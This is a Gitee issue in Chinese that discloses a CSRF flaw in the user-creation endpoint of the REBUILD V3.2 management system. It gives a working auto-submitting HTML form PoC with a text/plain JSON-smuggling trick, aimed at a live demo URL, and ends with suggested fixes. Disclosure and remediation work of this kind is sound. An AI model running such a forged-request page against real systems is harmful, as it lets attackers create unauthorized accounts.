部门用户创建接口存在CSRF漏洞

如确认漏洞，恳请厂商回复确认漏洞帮助测试人员备案，谢谢！
### 版本 / Version
 V3.2 版本

### 什么问题 / What's the problem
部门用户创建接口存在CSRF漏洞
![输入图片说明](https://foruda.gitee.com/images/1681668509258077918/fc411229_8323292.png "屏幕截图")
接口正常请求报文如下：
![](https://foruda.gitee.com/images/1681668552237503420/c17c24ac_8323292.png "屏幕截图")
可以看到`Content-Type`默认为`text/plain`，且数据以json格式传输，因为cookie跨域限制不严导致可构造恶意网页实现CSRF漏洞

### 如何复现此问题 / How to reproduce this problem
构造POC如下：
```
<html>
  
  <body>
    <form action="https://nightly.getrebuild.com/app/entity/record-save" method="POST" enctype="text/plain">
      <input type="hidden" name="&#123;&quot;loginName&quot;&#58;&quot;syh2&quot;&#44;&quot;password&quot;&#58;&quot;buy8l9rB&#33;8&quot;&#44;&quot;gangwei6&quot;&#58;&quot;668&#45;01871e762adb15ce&quot;&#44;&quot;gerendianhua&quot;&#58;&quot;&quot;&#44;&quot;createdBy&quot;&#58;&quot;001&#45;0000000000000001&quot;&#44;&quot;createdOn&quot;&#58;&quot;2023&#45;04&#45;17&#32;01&#58;36&#58;41&quot;&#44;&quot;fullName&quot;&#58;&quot;syh&quot;&#44;&quot;email&quot;&#58;&quot;su&#64;123&#46;com&quot;&#44;&quot;workphone&quot;&#58;&quot;13684122536&quot;&#44;&quot;deptId&quot;&#58;&quot;002&#45;0186693a0e7903c3&quot;&#44;&quot;metadata&quot;&#58;&#123;&quot;entity&quot;&#58;&quot;User&quot;&#44;&quot;id&quot;&#58;&quot;&quot;&#125;&#44;&quot;hack&quot;&#58;&quot;" value="&quot;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```
正常POST表单会有`=`导致json格式错误，我们可以通过构造`name value`使其拼接，从而使`=`成为字段值，效果如下
```
      <input type="hidden" name="{"loginName":"syh2","password":"buy8l9rB!8","gangwei6":"668-01871e762adb15ce","gerendianhua":"","createdBy":"001-0000000000000001","createdOn":"2023-04-17 01:36:41","fullName":"syh","email":"su@123.com","workphone":"13684122536","deptId":"002-0186693a0e7903c3","metadata":{"entity":"User","id":""},"hack":"" value=""}" />
```
**利用测试**
使用POC搭建网页，访问该恶意网站：
![输入图片说明](https://foruda.gitee.com/images/1681668964949832507/e2f8a975_8323292.png "屏幕截图")
可以看到成功调用接口，成功添加账户
![输入图片说明](https://foruda.gitee.com/images/1681669017525222588/9d6c164d_8323292.png "屏幕截图")

### 漏洞修复建议
限制`Content-Type`为`application/json`
或对cookie增加跨域限制，即`SameSite`设置为`Lax`

### 测试单位
山东大学网络空间安全学院

RB企业管理系统/rebuild_WMS_MES_CRM_HRM_零代码免费开源

Content Risk Flag

Comments (4)

RB企业管理系统/rebuild_WMS_MES_CRM_HRM_零代码免费开源 .gitee-modal { width: 500px !important; }

Content Risk Flag